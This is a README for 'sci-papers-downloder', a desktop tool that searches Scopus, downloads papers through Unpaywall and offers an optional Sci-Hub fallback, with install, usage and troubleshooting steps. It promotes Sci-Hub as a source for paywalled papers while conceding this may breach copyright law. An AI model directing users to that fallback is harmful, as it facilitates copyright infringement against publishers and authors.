🔍 sci-papers-downloder - Download Academic Papers Easily

📖 What is sci-papers-downloder?

sci-papers-downloder is a tool that helps you find and download academic papers easily without needing a university subscription. It searches Scopus for your research topic, tries to get the full text from Unpaywall, and if that fails, it can use Sci-Hub as a backup source.

This tool works automatically and is ideal for students, researchers, or anyone who wants quick access to academic papers. You do not need to know programming to use it.

💡 Key Features

Search academic papers by keywords or DOI using Scopus database.
Download open access papers directly from Unpaywall.
Optional fallback to Sci-Hub to get restricted papers.
Simple interface for easy use.
Works with most research topics and disciplines.
Saves papers in common formats like PDF.
Saves time searching multiple sites manually.

🖥️ System Requirements

Windows 10 or higher, or macOS 10.14 or higher. Linux support is experimental.
Internet connection to search databases and download papers.
At least 100 MB free disk space.
4 GB RAM or more recommended for smooth operation.
No special hardware needed.

⏳ Before You Start

Make sure you have a stable internet connection.
Find the DOI or title of the paper you want to download, if available.
Note that using fallback sources may have legal restrictions in your country. Use responsibly.

🚀 Getting Started

This guide will help you download, install, and use sci-papers-downloder on your computer. Each step explains what to do, so you can get the program running quickly.

⬇️ Download & Install

You need to visit the official release page to get the software. Follow these steps:

Click this button to go to the download page:
On the releases page, look for the latest version. It will show files like:
- sci-papers-downloder-setup.exe (Windows installer)
- sci-papers-downloder-macos.dmg (macOS installer)
Download the appropriate file for your computer.
Once downloaded, open the installer file:
- On Windows, double-click sci-papers-downloder-setup.exe and follow the setup wizard.
- On macOS, open sci-papers-downloder-macos.dmg, then drag the app to your Applications folder.
After installation finishes, you can start the program from your start menu (Windows) or Applications folder (macOS).

🎯 How to Use sci-papers-downloder

Once installed, follow these steps to find and download academic papers:

Launch the sci-papers-downloder app.
You will see a search box. Enter either:
- A keyword or phrase related to your research topic.
- A paper’s DOI (a unique identifier for academic articles).
Click the "Search" button.
The app will display a list of matching papers from Scopus.
Select the paper you want by clicking on it.
Click "Download". The app will first try Unpaywall to get a free copy. If it cannot find one, it will ask if you want to try Sci-Hub as a fallback.
Choose your option. The paper will download to your default documents folder, usually as a PDF.
You can open the downloaded file with any PDF reader.

🗂️ Managing Downloads

By default, all papers save to your Documents/sci-papers-downloder folder.
You can change the save location in the app settings.
The app keeps a history log of your downloads.
Avoid downloading copyrighted material unless you have permission. Use open-access sources when possible.

⚙️ Settings & Preferences

sci-papers-downloder includes preferences you can change to improve your experience:

Enable or disable Sci-Hub fallback.
Change download folder location.
Set default search filters like publication date or author.
Change language settings.
Manage automatic updates.

🛠️ Troubleshooting

Problem: The app does not start.
Solution: Ensure your operating system meets the requirements. Restart your computer and try again.

Problem: Search returns no results.
Solution: Check your internet connection. Try different keywords or DOIs.

Problem: Download fails or paper not found.
Solution: Some papers may not be freely available. Make sure fallback option is enabled if you want to try Sci-Hub.

Problem: App crashes or freezes.
Solution: Restart the app. If it happens regularly, reinstall the latest version.

📚 Additional Tips

Use precise keywords for better search results.
Check the paper metadata (title, author, journal) before downloading.
Respect copyright and only download papers for personal use or when permitted.
Keep the app updated for best performance and security.

🧑‍💻 Who Can Use This Tool?

Students needing quick access to papers for assignments.
Researchers without institutional access.
Anyone interested in academic literature.
Librarians managing scientific resources.

🔗 Useful Links

Official Release Page: https://github.com/ThienRabbit/sci-papers-downloder/releases
Scopus Database Info: https://www.scopus.com
Unpaywall Info: https://unpaywall.org
Sci-Hub Info: https://sci-hub.se (Use cautiously)

⚖️ Legal Considerations

Downloading papers through open access sources like Unpaywall is legal. Use of Sci-Hub may violate copyright laws depending on your location. Ensure you comply with local laws while using this app.

📞 Getting Help

If you encounter issues not covered here, you can:

Check the Issues tab on the GitHub page for solutions from other users.
Contact your institution’s library staff for advice on accessing papers.

This tool simplifies academic paper downloads without complex steps. Follow the instructions above, and you can start getting papers quickly with minimal effort.

ThienRabbit/sci-papers-downloder